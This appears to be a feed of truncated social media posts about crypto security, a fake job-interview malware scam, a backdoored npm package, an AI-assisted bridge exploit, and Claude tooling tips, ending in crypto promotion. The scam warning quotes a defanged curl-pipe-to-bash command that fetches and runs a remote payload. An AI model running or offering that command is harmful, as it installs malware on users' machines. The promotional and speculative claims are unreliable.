TheSmartApe🔥

you're telling me that 7 months ago, a quantum computer cracked a 6-bit elliptic curve key. last week, a researcher cracked 15. and bitcoin uses 256?
every bitcoin wallet is protected by ecdsa, elliptic curve digital signature algorithm.
your private key is the only key to your coins. your public key is the lock's serial number, visible to everyone.
from the public key, you cannot derive the private key. that's what keeps your bitcoin yours.
quantum computers break that. shor's algorithm, run on quantum hardware, can compute the private key from the public key. it's demonstrated. the only open

be careful of fake job interviews. they are now one of the cleanest malware delivery vectors.
my brother almost got hit this week.
the play, step by step:
> a "recruiter" pings him on linkedin
> they've actually read his cv. they know his stack. they book a real interview slot.
> a few hours before the call: "can you review our product page real quick before we talk?"
> visiting the site runs this in the background:
curl -s macos[.]hyperhives[.]net/install | nohup bash &
if you type your password when it prompts, it's over.
a researcher (Darksp33d on Github) reverse-engineered the binary:
> ev

everyone missed this. a few days ago, bitwarden cli (one of the biggest password managers) was backdoored on npm.
live for 93 minutes. 334 devs installed it before anyone noticed.
how it happened:
> attackers hijacked a bitwarden engineer's github account
> pushed a malicious version of the npm package (@bitwarden/cli@2026.4.0).
> anyone who ran npm install bitwarden/cli during that window pulled the backdoor.
the install script didn't ship the malware directly. it downloaded the bun runtime from github's official release endpoint, so the network traffic looked 100% legitimate. bun then execut

iran says some equipment rebooted during the war while they were cut off from the global net.
the hypothesis: a firmware or bootloader backdoor, triggered by satellite.
how that would work:
> code implanted below the os, in firmware or the bootloader
> sits dormant. invisible to standard monitoring tools.
> listens for a trigger: a timer, a malformed packet, or an out-of-band signal
> on trigger, runs a preloaded payload
> the reboot wipes most of the evidence
at this point verification is impossible, but it's good to keep in mind.

🚨 JUST IN: someone just used AI to hack @hyperbridge and walk away with $237K.
the attacker used AI to craft a fake message that looked legit to the bridge. like a perfectly forged letter saying "i'm the new manager now." and the bridge believed it.
once "promoted" to admin, the attacker minted 1 billion $DOT tokens out of thin air on ethereum, and dumped them for $237K before anyone noticed.
→ AI generates a forged cross-chain message
→ message passes through hyperbridge's gateway
→ bridge thinks it's real, executes it
→ attacker becomes admin of the token contract
→ mints 1B tokens
→ s

if you don't have these 10 claude plugins installed, don't tell me you're using claude efficiently.
claude without plugins = a brain with no arms.
𝟭. feature-dev
describe a feature → claude runs a full dev cycle: requirements, architecture, code, tests, review, docs. not a code snippet generator. a junior engineer.
→ npx skills add anthropic/feature-dev
𝟮. frontend-design
stops claude from writing generic "AI-looking" UI. gives it real design instincts, asymmetric layouts, intentional typography, scroll animations.
→ npx skills add anthropic/frontend-design
𝟯. context7
claude's training dat

the agent memory problem have just been solved. it’s free and easy to use.
the project is called mempalace.
the idea is simple:
most memory systems try to decide what matters, summarize it, and store only that.
what mempalace does:
store everything, then make it searchable.
instead of extracting stuff like:
• “user prefers postgres”
• “project uses graphql”
and throwing away the conversation where the actual reasoning happened,
it keeps the original exchanges verbatim and uses semantic search to retrieve the right memory later.
so you keep the why, not just the summary.
how it works:
> everyth

here’s how to create a prompt file that self-improves over time and helps you generate much more polished web apps.
1. connect Claude to your app with the Playwright MCP server
2. store your component generation rules in one file
ex: src/lib/prompts/generation.tsx
3. ask Claude to:
• open localhost
• generate a component
• review the actual visual output
• update the prompt file
• regenerate and compare
example prompt:
"navigate to localhost[:]3000, generate a basic component, review the styling, and update src/lib/prompts/generation.tsx to produce better components going forward"
so

how to get a professional website design without giving your agent 1000 design instructions?
you only need 1 GitHub repo for that: awesome-design-md.
instead of trying to describe a whole visual style in prompts every time, you give the agent a DESIGN[.]md.
same way AGENTS[.]md tells the agent how to build, DESIGN[.]md tells it how the product should look.
this repo is basically a curated library of DESIGN[.]md files extracted from real developer-focused websites.
how to use it concretely:
1. go to the repo
2. pick a style you like
3. copy that site’s DESIGN[.]md into your project root
4. ask

one of the more practical Claude Code projects I’ve seen.
it turns Claude into a full job search operating system:
> score job offers
> tailor your CV for each role
> scan portals
> batch-process applications
> track everything in one pipeline
how to use it concretely:
1. clone the repo + install deps
2. add your profile config
3. drop your CV into cv[.]md
4. open Claude Code in the repo
5. paste a job URL or JD
6. run the full pipeline: evaluation, tailored CV, tracker update
good reminder that some of the best AI products right now are just:
structured workflows around high-friction decision

main issue with dispatch + cowork right now: you can’t have multiple conversations running in parallel for different projects.
cowork handles background sessions fine but as a user you’re stuck in one thread.
if i’m working on my content pipeline and want to simultaneously iterate on a trading bot, i need separate conversations with separate context.
not everything routed through one dispatch thread.
anthropic should add per-project threads. each project folder gets its own conversation, own memory, own context.
shouldn’t be hard, the infra is already there with projects and folder selection

migrated my entire openclaw architecture to cowork + dispatch.
here’s the prompt to give dispatch to migrate each openclaw folder:
“I have a project directory at [path]. Read all the files in it, context, memory, instructions, everything. Then create a single INSTRUCTIONS in ~/Documents/[project-name]/ that consolidates everything relevant into one clean file I can use with Cowork. Only keep what’s directly related to the project’s purpose, skip anything unrelated.”
1 folder = 1 INSTRUCTIONS. when you open cowork with that folder it has all the context.

as you know i'm smart money on @Tok_Edge, what is your score?
i research on who's behind this thing. we're talking Oxford economist, managing partner at a $10bn fund, 8 years in crypto.
hese aren't random degens who raised a seed round off a pitch deck. they've actually managed real capital. i'll let you look into the rest yourself. btw they 100% know who is real smart money
i also ran a bunch of wallets through it and the scoring doesn't care how fat your bag is. it's about how you trade, not how much you hold. no whale advantage. a 4-figure wallet can outrank a 7-figure one if the moves are